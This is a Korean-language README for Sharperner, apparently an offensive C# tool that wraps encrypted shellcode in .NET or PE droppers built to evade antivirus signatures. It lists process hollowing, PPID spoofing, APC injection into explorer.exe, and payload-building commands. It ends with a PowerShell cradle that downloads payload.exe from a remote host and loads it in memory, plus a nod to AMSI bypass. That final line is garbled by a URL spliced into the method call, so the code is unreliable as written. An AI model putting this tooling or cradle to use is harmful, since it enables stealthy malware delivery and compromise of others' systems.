Sharperner

Sharperner는 CSharp으로 작성된 도구로, AES 및 XOR 난독화된 셸코드를 사용하여 .NET 드로퍼를 생성합니다. 생성된 실행 파일은 서명 검사를 우회할 수 있지만, 휴리스틱 스캐닝을 우회할 수 있을지는 확실하지 않습니다.

기능

PE 바이너리

• 프로세스 할로잉
• PPID 스푸핑
• 무작위 생성 AES 키 및 IV
• 최종 셸코드, 키 및 IV는 모스 부호로 변환됩니다 :)

.NET 바이너리

• AES + XOR 암호화된 셸코드
• APC 프로세스 인젝션 (explorer.exe)
• 무작위 함수 이름
• 무작위 생성 AES 키 및 IV
• 최종 셸코드, 키 및 IV는 모스 부호로 변환됩니다 :)

사용법

/file       B64,hex,raw shellcode
/type       cs,cpp
/out        Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe

제안

디스크에 쓰지 않기 위해, 생성된 .NET 실행 파일은 PowerShell을 사용하여 반사적으로 로드할 수 있습니다. AMSI가 이제 적입니다, amsi.fail ftw!

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]:https://raw.githubusercontent.com/aniqfakhrul/sharperner/HEAD/:Main()